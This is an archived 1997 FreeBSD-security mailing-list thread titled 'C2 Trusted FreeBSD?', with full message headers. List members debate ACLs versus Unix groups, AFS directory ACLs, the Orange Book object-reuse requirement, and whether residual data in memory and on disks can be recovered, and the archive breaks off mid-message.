Tue, 14 Oct 1997 10:53:53 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dfw.dfw.net (aleph1@DFW.DFW.NET [198.175.15.10]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA05522 for ; Tue, 14 Oct 1997 10:53:49 -0700 (PDT) (envelope-from aleph1@dfw.net) Received: from localhost by dfw.dfw.net (4.1/SMI-4.1) id AA11295; Tue, 14 Oct 97 12:54:35 CDT Date: Tue, 14 Oct 1997 12:54:34 -0500 (CDT) From: Aleph One To: Brian Beattie Cc: Colman Reilly , Douglas Carmichael , freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Brian Beattie wrote: > Most of the people involved in INFOSEC are absolutely "head over heals" in > love with ACL's, big ACL's. I am not convinced of their utility in the > real world, especially with suplementary groups. If I were designing a B1 > UNIX system I would not change the current access control design. The problem with ACL's is not it's nature but the fact that if you implement them under UNIX nothing knows how to candle them. For example you would need to modify ls to show them, you need to modify cp to copy them, you programs need to be aware of ACL directory inheritance, etc. This is not a problem when you are designing a new OS and people will have to learn the new API (e.g. Windows NT) but if you are trying to maintain compatibility with other unixes or try to port random programs it becomes a pain. HP-UX has had ACLs for quite some time now but not one uses them just because of this. Aleph One / aleph1@dfw.net http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 From owner-freebsd-security Tue Oct 14 11:17:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA07405 for security-outgoing; Tue, 14 Oct 1997 11:17:24 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from pandora.hh.kew.com (ahd@kendra.ne.mediaone.net [24.128.53.73]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA07396 for ; Tue, 14 Oct 1997 11:17:09 -0700 (PDT) (envelope-from ahd@pandora.hh.kew.com) Received: (from ahd@localhost) by pandora.hh.kew.com (8.8.5/8.8.5) id OAA05520; Tue, 14 Oct 1997 14:16:51 -0400 (EDT) Date: Tue, 14 Oct 1997 14:16:51 -0400 (EDT) From: Drew Derbyshire Message-Id: <199710141816.OAA05520@pandora.hh.kew.com> To: petrilli@amber.org, softweyr@xmission.com Subject: Re: C2 Trusted FreeBSD? Cc: security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From owner-freebsd-security@FreeBSD.ORG Tue Oct 14 14:03:45 1997 > Christopher Petrilli writes: > > But what about when you have 10,000 users, and you need 486 of them to > > not have access? Do you see the issue of performance slowly creeping up > > when yyou have 50,000 groups? This becomes a hideous nightmare. > > Right. A "secure" system with 10,000 users. You obviously don't > understand security in the same way the government does. ;^) No, that's exactly what they want -- 10,000 or 25,000 people with access to the system but not all it's data. Back in the late 80's a large mainframe system for a government security agency had 25K user accounts on it -- the vendor couldn't get a core dump from them after problems, for the obvious reasons. :-) I believe IBM's VM/XA was C2 certified (a system which could handle 1000 concurrent users pretty easily, so 25K accounts would not be unreasonable); I don't know if they ever went for B1 or not. -ahd- -- Drew Derbyshire Internet: ahd@kew.com Kendra Electronic Wonderworks Telephone: 781-279-9812 AAAAAA - American Association Against Acronym Abuse Anonymous. From owner-freebsd-security Tue Oct 14 12:16:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA11324 for security-outgoing; Tue, 14 Oct 1997 12:16:15 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from cyrus.watson.org (robert@AMALTHEA.RES.CMU.EDU [128.2.91.57]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA11315 for ; Tue, 14 Oct 1997 12:16:08 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from localhost (robert@localhost) by cyrus.watson.org (8.8.5/8.8.5) with SMTP id PAA01730; Tue, 14 Oct 1997 15:16:20 -0400 (EDT) Date: Tue, 14 Oct 1997 15:16:19 -0400 (EDT) From: Robert Watson Reply-To: Robert Watson To: Aleph One cc: freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997, Aleph One wrote: > On Tue, 14 Oct 1997, Brian Beattie wrote: > > > Most of the people involved in INFOSEC are absolutely "head over heals" in > > love with ACL's, big ACL's. I am not convinced of their utility in the > > real world, especially with suplementary groups. If I were designing a B1 > > UNIX system I would not change the current access control design. > > The problem with ACL's is not it's nature but the fact that if you > implement them under UNIX nothing knows how to candle them. For example > you would need to modify ls to show them, you need to modify cp to copy > them, you programs need to be aware of ACL directory inheritance, etc. > This is not a problem when you are designing a new OS and people will have > to learn the new API (e.g. Windows NT) but if you are trying to maintain > compatibility with other unixes or try to port random programs it becomes > a pain. HP-UX has had ACLs for quite some time now but not one uses them > just because of this. This is not entirely true; alternative distributed file systems (such as AFS) provide an ACL protection system, and even differing file semantics (last-close not last-write) yet most applications work correctly. ls is minorly-modified so as to ignore non-user permissions (AFS, as I understand it, does maintain user rwx, etc, just not for others.) Many applications do not interact much with protections; they will set permissions on newly created files, but those may safely be ignored (well, not safely, but that is the user's problem: they should know the semantics of the file system they are working on?); permission changes can be largely ignored (except on user permissions for execute support.) Setuid is a weird one and would require some thinking out. Using the ptserver support, you get user defined groups and all kinds of useful things. That only system administrators can maintain groups under UNIX has long been a gripe I've had :). The ability to do the following on AFS is very useful, and interfaces well with WWW stuff: fs sa . rnw all system:authuser rl system:anyuser none meaning that all authenticated users can access the directory, but users not authenticated to kerberos cannot (i.e., web servers on workstations that don't have authentication.) Similarly, user's can create their own groups and refer to them easily; I can create rnw:friends and give them read, delete, insert access on the directory, but leave out anyone not in friends. I can also use negative access rights to specifically deny users access to a directory. My main gripe with ACLs has been the inheritence and management issue -- individual ACLs on each file are almost impossible to maintain, and very hard to list in any useful way in a directory listing. Applying ACLs only to directories themselves makes for easy management, but is this allowed by the various security specifications? Must we provide individual-file permission support? Do the specifications allow us to use standard UNIX permissions for some partitions, and reserve ACL permissions for user and data partitions? The by-directory ACL scheme does not work so well for /dev, for example! Robert N Watson Junior, Logic+Computation, Carnegie Mellon University http://www.cmu.edu/ Network Administrator, SafePort Network Services http://www.safeport.com/ robert@fledge.watson.org rwatson@safeport.com http://www.watson.org/~robert/ From owner-freebsd-security Tue Oct 14 12:37:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA12231 for security-outgoing; Tue, 14 Oct 1997 12:37:47 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA12223 for ; Tue, 14 Oct 1997 12:37:41 -0700 (PDT) (envelope-from narvi@haldjas.folklore.ee) Received: from haldjas.folklore.ee (haldjas.folklore.ee [172.17.2.1] (may be forged)) by haldjas.folklore.ee (8.8.6/8.8.4) with SMTP id WAA09860; Tue, 14 Oct 1997 22:37:28 +0300 (EEST) Date: Tue, 14 Oct 1997 22:37:28 +0300 (EEST) From: Narvi To: "Christopher G. Petrilli" cc: freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk A big snip done to the cc: list. I hope no-one is offended. On Tue, 14 Oct 1997, Christopher G. Petrilli wrote: > On Tue, 14 Oct 1997, Brian Beattie wrote: > > > > I could be just being stupid here, but can't you do this by making > > > everyone a member of a group with their login ID, and them only as a > > > member and setting the file to (owner).user, mode 707, or something? > > > Wouldn't that give everyone but that persona ccess to it? > > > Did anyone even follow that? not too clear, is it... > > > > Some people often read this requirement to mean that it must be possible > > to set access rights on a file to exclude some arbitrary set of users. To > > do this you need one group for each permutation of users. Techincally > > possible but infeasable. In fact I agree with your interpretation and I > > believe so do the evaluators and most people in the INFOSEC community. > > According to the local NSA rep sitting down the hall, this is incorrect, > and the INTENT is to allow for abritrary groups to be excluded from an > arbitrary number of files. While you're absolutely correct that in > PRACTICE this would be ok on a system with a relatively small number of > users, remember that the orange book deals with stand-alone systems, which > traditionally have had large numbers of users. Obviously we can all do > the permutation calculations even when we hit 100 users the theoretical > problem is enormous. So what? Just write a daemon, to which every user could talk to and which would modify the groups file on behalf of them. It will need to have only one additional file (where owners of the respective groups are stored) and you suddenly have got all you are going to need. Better yet - implement it as an fs :-) > > See my previous message abouy why we should evaluate ACL structures > regardless of what we do in regards C2 certification. > Heh. ACL might be nice, but why if we can do it the way we have always done (with groups) and achieve the same? Remeber, in FreeBSD, both user and group id-s are 32 bit. > Chris > Sander There is no love, no good, no happiness and no future - all these are just illusions. From owner-freebsd-security Tue Oct 14 17:02:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA27941 for security-outgoing; Tue, 14 Oct 1997 17:02:40 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from blubb.pdc.kth.se (blubb.pdc.kth.se [193.10.159.47]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA27915 for ; Tue, 14 Oct 1997 17:02:21 -0700 (PDT) (envelope-from joda@pdc.kth.se) Received: from joda by blubb.pdc.kth.se with local (Exim 1.71 #1) id 0xLGth-0002Fn-00; Wed, 15 Oct 1997 02:01:09 +0200 To: Robert Watson Cc: Aleph One , freebsd-security@freebsd.org Subject: Re: C2 Trusted FreeBSD? References: X-Emacs: 19.34 Mime-Version: 1.0 (generated by SEMI MIME-Edit 0.77) Content-Type: text/plain; charset=US-ASCII From: joda@pdc.kth.se (Johan Danielsson) Date: 15 Oct 1997 02:01:07 +0200 In-Reply-To: Robert Watson's message of Tue, 14 Oct 1997 15:16:19 -0400 (EDT) Message-ID: Lines: 38 X-Mailer: Gnus v5.4.52/Emacs 19.34 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Robert Watson writes: > > HP-UX has had ACLs for quite some time now but not one uses them > > just because of this. > > This is not entirely true; Right, I use ACLs on local file systems, when they are available. > ls is minorly-modified so as to ignore non-user permissions (AFS, as > I understand it, does maintain user rwx, etc, just not for others.) There are no changes to any user level programs in AFS. You need patched versions of cp/tar/pax/whatever if you want to preserve acls when copying files. In most situations this isn't a problem. The biggest problems are with `smart' programs that think they can figure out the permissions just by looking at the mode bits. The mode bits are preserved, but only the owner bits are used, and are used for everyone (xored with your acl-permissions). [per file or per directory ACLs] I actually find the per-directory acls in AFS a feature and not a bug. The only real problem is with ignorant users that just expects everything to work the same as in some other filesystem. The DFS approach to use ACLs on individual files is much more complex. > The by-directory ACL scheme does not work so well for /dev, for > example! File permissions doesn't work well in /dev at all. You really set permissions on objects, but a device file isn't an object, it's just a front-end to an object. It would be the same with files if you stored file permissions in the directories rather than in the inodes. /Johan From owner-freebsd-security Tue Oct 14 17:46:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA00831 for security-outgoing; Tue, 14 Oct 1997 17:46:51 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA00817 for ; Tue, 14 Oct 1997 17:46:44 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id KAA00590; Wed, 15 Oct 1997 10:13:31 +0930 (CST) Message-Id: <199710150043.KAA00590@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Wes Peters cc: Terry Lambert , security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-reply-to: Your message of "Tue, 14 Oct 1997 10:01:37 CST." <199710141601.KAA10425@obie.softweyr.ml.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 15 Oct 1997 10:13:31 +0930 From: Mike Smith Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > There are no incidences in which pages are returned to you with previous > random cruft left in them? There shouldn't be, no. > And besides, zero-filling memory isn't sufficient, it has to be > overwritten a number of times to make sure now residual information can > be obtained. These standards date back to core and even mercury-wire > memory. Yes, I've actually worked with computers that feature *both* in > my career. ;^) If you can suggest how one goes about obtaining "residual" information from a saturated logic device in a synchronous memory subsystem, I'd be very interested in hearing it. Or is this more specification paranoia? mike From owner-freebsd-security Tue Oct 14 18:14:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA02418 for security-outgoing; Tue, 14 Oct 1997 18:14:02 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (petrilli@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA02411 for ; Tue, 14 Oct 1997 18:13:51 -0700 (PDT) (envelope-from petrilli@amber.org) Received: from localhost (petrilli@localhost) by dworkin.amber.org (8.8.7/8.8.7) with SMTP id VAA12961; Tue, 14 Oct 1997 21:13:53 -0400 (EDT) Date: Tue, 14 Oct 1997 21:13:53 -0400 (EDT) From: "Christopher G. Petrilli" To: Mike Smith cc: Wes Peters , Terry Lambert , security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710150043.KAA00590@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 Oct 1997, Mike Smith wrote: > > And besides, zero-filling memory isn't sufficient, it has to be > > overwritten a number of times to make sure now residual information can > > be obtained. These standards date back to core and even mercury-wire > > memory. Yes, I've actually worked with computers that feature *both* in > > my career. ;^) > > If you can suggest how one goes about obtaining "residual" information > from a saturated logic device in a synchronous memory subsystem, I'd be > very interested in hearing it. > > Or is this more specification paranoia? I will note that IBM recently release an analysis of smart-card designs that involved the use of residual memory imprints for recoverying private key information. I can find the references if you want. In addition, ifg you will search thru the patent database, you will find that the NSA holds about 40-50 patents in "data recovery" techniques. WHile it's not cheap, there are quantum residuals left behind in all environments which are measurable. That having been said, the pattern is more important on magnetic media, rather than DRAM. But I say use it all the time. In fact there is a specific set of 8 bit numbers that are tto be written in a specific order that are designed to exercise the memory in a specific pattern. I can get these if people are interested. Chris From owner-freebsd-security Tue Oct 14 18:43:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA03945 for security-outgoing; Tue, 14 Oct 1997 18:43:44 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from word.smith.net.au (vh1.gsoft.com.au [203.38.152.122]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA03934 for ; Tue, 14 Oct 1997 18:43:38 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.gsoft.com.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id LAA00804; Wed, 15 Oct 1997 11:10:38 +0930 (CST) Message-Id: <199710150140.LAA00804@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Christopher G. Petrilli" cc: security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-reply-to: Your message of "Tue, 14 Oct 1997 21:13:53 -0400." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 15 Oct 1997 11:10:38 +0930 From: Mike Smith Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (Followups to this should probably only go to -chat) > On Wed, 15 Oct 1997, Mike Smith wrote: > > > And besides, zero-filling memory isn't sufficient, it has to be > > > overwritten a number of times to make sure now residual information can > > > be obtained. These standards date back to core and even mercury-wire > > > memory. Yes, I've actually worked with computers that feature *both* in > > > my career. ;^) > > > > If you can suggest how one goes about obtaining "residual" information > > from a saturated logic device in a synchronous memory subsystem, I'd be > > very interested in hearing it. > > > > Or is this more specification paranoia? > > I will note that IBM recently release an analysis of smart-card designs > that involved the use of residual memory imprints for recoverying private > key information. I can find the references if you want. In addition, ifg > you will search thru the patent database, you will find that the NSA holds > about 40-50 patents in "data recovery" techniques. > > WHile it's not cheap, there are quantum residuals left behind in all > environments which are measurable. Please note that I am *not* questioning whether, given analog access to the storage device, previous data state(s) can be recovered; this is a given. What I *am* questioning is why this is a requirement in a purely software environment, where it is not possible via software to determine anything other than the current value of a given storage location. The only methods for obtaining the previous contents of a storage location involve physical analog access to the hardware, and if you have this then system security has already been compromised because you could have recorded the original value when it was current. > That having been said, the pattern is more important on magnetic media, > rather than DRAM. But I say use it all the time. In fact there is a > specific set of 8 bit numbers that are tto be written in a specific order > that are designed to exercise the memory in a specific pattern. I can get > these if people are interested. Probably -chat and crypto-paranoia material. I'd like to see the pattern and any commentary from people that might be able to map it onto the behaviour of old core and/or bubble systems, for amusement value if nothing else. mike From owner-freebsd-security Tue Oct 14 18:49:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA04223 for security-outgoing; Tue, 14 Oct 1997 18:49:55 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from ptway.com (apollo.ptway.com [199.176.148.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA04217 for ; Tue, 14 Oct 1997 18:49:52 -0700 (PDT) (envelope-from haskin@ptway.com) Received: from brianjr.haskin.org (224R1.ptway.com [199.176.148.91]) by ptway.com (8.7.1/3.4W4-PTWAY-sco-ODT3.0) with ESMTP id VAA23537; Tue, 14 Oct 1997 21:40:53 -0400 (EDT) Message-ID: <344420F8.E4B912C7@ptway.com> Date: Tue, 14 Oct 1997 21:48:40 -0400 From: Brian Haskin X-Mailer: Mozilla 4.01 [en] (Win95; I) MIME-Version: 1.0 To: Mike Smith CC: security , Wes Peters , Terry Lambert Subject: Re: C2 Trusted FreeBSD? X-Priority: 3 (Normal) References: <199710150043.KAA00590@word.smith.net.au> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Mike Smith wrote: > > > > > There are no incidences in which pages are returned to you with > previous > > random cruft left in them? > > There shouldn't be, no. > > > And besides, zero-filling memory isn't sufficient, it has to be > > overwritten a number of times to make sure now residual information > can > > be obtained. These standards date back to core and even > mercury-wire > > memory. Yes, I've actually worked with computers that feature > *both* in > > my career. ;^) > > If you can suggest how one goes about obtaining "residual" information > from a saturated logic device in a synchronous memory subsystem, I'd > be > very interested in hearing it. > > Or is this more specification paranoia? > > mike With an electron microscope and a few other pieces of similarily cheap and nondestuctive equipment. :) I believe that Mr. Peters is confusing the standard for erasing something that has been written to disk with this. Although you can do the same with ram (as far as recovering previously stored information) I don't think that they make you write over it a hundred time for each malloc free sequence. Brian Haskin From owner-freebsd-security Tue Oct 14 18:56:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA04873 for security-outgoing; Tue, 14 Oct 1997 18:56:23 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (petrilli@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA04862 for ; Tue, 14 Oct 1997 18:56:17 -0700 (PDT) (envelope-from petrilli@amber.org) Received: from localhost (petrilli@localhost) by dworkin.amber.org (8.8.7/8.8.7) with SMTP id VAA13031; Tue, 14 Oct 1997 21:56:29 -0400 (EDT) Date: Tue, 14 Oct 1997 21:56:28 -0400 (EDT) From: "Christopher G. Petrilli" To: Mike Smith cc: security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710150140.LAA00804@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 15 Oct 1997, Mike Smith wrote: > > I will note that IBM recently release an analysis of smart-card designs > > that involved the use of residual memory imprints for recoverying private > > key information. I can find the references if you want. In addition, ifg > > you will search thru the patent database, you will find that the NSA holds > > about 40-50 patents in "data recovery" techniques. > > > > WHile it's not cheap, there are quantum residuals left behind in all > > environments which are measurable. > > Please note that I am *not* questioning whether, given analog access to > the storage device, previous data state(s) can be recovered; this is a > given. > > What I *am* questioning is why this is a requirement in a purely > software environment, where it is not possible via software to > determine anything other than the current value of a given storage > location. > > The only methods for obtaining the previous contents of a storage > location involve physical analog access to the hardware, and if you > have this then system security has already been compromised because you > could have recorded the original value when it was current. Security is an all-encompassing thing, not electornic, not physical. And without verified architecture, ther eis no "proof" that the only way to get access to the storage location is via physical access. Remember, that's why it costs a lot of money to build verified systems, one has to build a boolean algebra description of the system that is provable, rather than just "good enough." While things like Van Eck devices can be used for real-time access, hence the TEMPEST and ZONE restrictions on various foreign installations (TEMPEST is no longer mandetory for US classified, and ZONE is optional in many cases), these do not deal with residual data. My issue was that residual data can be read via various methods. > > That having been said, the pattern is more important on magnetic media, > > rather than DRAM. But I say use it all the time. In fact there is a > > specific set of 8 bit numbers that are tto be written in a specific order > > that are designed to exercise the memory in a specific pattern. I can get > > these if people are interested. > > Probably -chat and crypto-paranoia material. I'd like to see the > pattern and any commentary from people that might be able to map it > onto the behaviour of old core and/or bubble systems, for amusement > value if nothing else. The NSA does not invest millions of dollars into quantum physics for nothing, simply. This area is the field my company deals in, and operates in, simply said, it is also what I do for a living. FWIW, I know for a fact that various organizations under the DCI regularly use electron microscopes for tamper detection of semiconductor circuits. But this is wandering into the esoteric field of tamper detection at a scale which this organization (i.e. the cooperative that is FreeBSD) is neither prepared for nor appropriate. If someone wishes to detect data, they will, the issue with patterns is more related to less transient storage, such as disk/flash, etc. I believe that it is totally acceptable to do a single write over RAM, but that disk storage SHOULD be dealth with seperately with an appropriate pattern. The pattern is designed to stabilize the magnetic properties (remmeber, no single magnetic domain is totally independent of the ones around it) by exercising them in a specific order. This is hardly paranoia, but a provable physical property. Why do you think you can recover data off of an erased disk? :-) Chris From owner-freebsd-security Tue Oct 14 19:10:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA05632 for security-outgoing; Tue, 14 Oct 1997 19:10:13 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA05617 for ; Tue, 14 Oct 1997 19:10:08 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt2-30.HiWAAY.net [208.147.148.30]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id VAA27715; Tue, 14 Oct 1997 21:09:55 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id VAA21041; Tue, 14 Oct 1997 21:02:25 -0500 (CDT) Message-Id: <199710150202.VAA21041@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: Wes Peters cc: Christopher Petrilli , security@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: C2 Trusted FreeBSD? In-reply-to: Message from Wes Peters of "Tue, 14 Oct 1997 09:56:38 MDT." <199710141556.JAA10419@obie.softweyr.ml.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 14 Oct 1997 21:02:25 -0500 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Wes Peters writes: > > Nope. The Sun C2 security system used only group controls. This is the > U.S. government, there are *no* concerns about practical enforcement. > In their view, if any mechanism is provided, their slaves can be beaten > into writing procedures that will correctly use the supplied mechanism, > clumsy as it may be. Yup. The System Security Custodian has to document all this stuff and submit it for review before the government person who signs off on it will agree to an initial inspection. Then you get grilled on how well you know your own procedures. And are expected to demonstrate the systems security features and your mastery of them. SGI also *claims* to meet C2 with only Discressionary Access Control, in other words, "plain old Unix user and groups." Note emphasis on "claims", as they developed Trusted Irix for B1 or thereabouts and were somehow prevented from having more than one system under test. And never submitted a system for C2 testing. So they provide a white paper detailing how plain old Irix with the addition of the Trusted Irix auditing system meets the intent of C2. This has been Good Enough to use plain Irix with audit trails at work. http://www.sgi.com/Support/security/c2_in_5.3_6.1.ps is the white paper I'm talking about. We quoted it for Irix 6.2. > > THat having been said, there is one other requirement that would need to > > be addressed: > > > > * Object Reuse (2.2.1.2) > > > > THis is defined as follows: > > > > "All authorizations to the information contained iwthin a storage object > > shall be revoked prior to initial assignment, allocation or reallocation > > to a subject from the TCB's pool of unused storage objects. No > > information, including encrypted representations of information, produced > > by a prior subject's actions is to be available to any subject that > > obtains access to an object that has been released back to the system." > > > > Basically, we need to purge all memor when it is allocated, or > > deallocated. > > Has to be deallocated, unless you want to maintain ownership credentials > of the deallocated pools. The act of returning a block of memory to the > "free" pool changes its ownership. There is an existing standard for > reclaiming memory in C2 systems. If I remember correctly, you have to > overwrite each bit with successive 1 and 0 for 100 cycles. This is > pretty cpu intensive, but can be done pretty easily by modify sbrk and > friends. I guess in the post 2.2 world, it would be munmap that gets > mangled, right? I've never seen the "100 times overwrite" requirement. The act of writing a zero to memory that is parity checked in hardware should satisfy the spirit of the requirement. If writing the zero didn't work, it fails on first read. In the above document, SGI points out "clear before reallocate" was approved when they tested Trusted Irix for B1, so they claim the same is good enough for plain Irix at C2. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-security Tue Oct 14 19:17:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA06062 for security-outgoing; Tue, 14 Oct 1997 19:17:29 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (petrilli@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA06053 for ; Tue, 14 Oct 1997 19:17:02 -0700 (PDT) (envelope-from petrilli@amber.org) Received: from localhost (petrilli@localhost) by dworkin.amber.org (8.8.7/8.8.7) with SMTP id WAA13086; Tue, 14 Oct 1997 22:17:29 -0400 (EDT) Date: Tue, 14 Oct 1997 22:17:29 -0400 (EDT) From: "Christopher G. Petrilli" To: dkelly@hiwaay.net cc: Wes Peters , security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710150202.VAA21041@nospam.hiwaay.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 14 Oct 1997 dkelly@hiwaay.net wrote: > > Has to be deallocated, unless you want to maintain ownership credentials > > of the deallocated pools. The act of returning a block of memory to the > > "free" pool changes its ownership. There is an existing standard for > > reclaiming memory in C2 systems. If I remember correctly, you have to > > overwrite each bit with successive 1 and 0 for 100 cycles. This is > > pretty cpu intensive, but can be done pretty easily by modify sbrk and > > friends. I guess in the post 2.2 world, it would be munmap that gets > > mangled, right? > > I've never seen the "100 times overwrite" requirement. The act of writing a > zero to memory that is parity checked in hardware should satisfy the spirit > of the requirement. If writing the zero didn't work, it fails on first read. It simply as to be cleared, that's all the requirements states. As for deallocate/allocate, that's a "preference", and in fact can be done on either because according to the TCSEC returning memory to the TCB (i.e. kernel) is not technically a change of ownership because the TCB is not an owner in the sense that this applies to. The TCB is trusted, therefore yo ucan do the clear on allocate, which is substantially easier over the long haul, and is what is commonly done. > In the above document, SGI points out "clear before reallocate" was > approved when they tested Trusted Irix for B1, so they claim the same is > good enough for plain Irix at C2. And Microsoft claims that NT is C2---they just forget that you can't have a network or floppy. :-) CHris From owner-freebsd-security Tue Oct 14 21:57:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA15897 for security-outgoing; Tue, 14 Oct 1997 21:57:52 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from bob.tri-lakes.net ([207.3.81.6]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA15891 for ; Tue, 14 Oct 1997 21:57:48 -0700 (PDT) (envelope-from cdillon@tri-lakes.net) Received: from [207.3.81.150] by bob.tri-lakes.net (NTMail 3.02.13) with ESMTP id sa299694 for ; Tue, 14 Oct 1997 23:57:51 -0500 Message-ID: X-Mailer: XFMail 1.1 [p0] on FreeBSD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199710141601.KAA10425@obie.softweyr.ml.org> Date: Tue, 14 Oct 1997 23:39:10 -0000 (GMT) From: Chris Dillon To: Wes Peters Subject: Re: C2 Trusted FreeBSD? Cc: security@FreeBSD.ORG, Terry Lambert Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 14-Oct-97 Wes Peters wrote: >Terry Lambert writes: > > > > Basically, we need to purge all memor when it is allocated, or > > > > deallocated. > > > > > > yah, when we release something back into a system, we have to >bzero() the > > > contents, or something similar. > > > > This is interesting. Can you give a small sample program for >accessing > > data from another program? As far as I know, pages are either filled > > from a swap store (and contain data 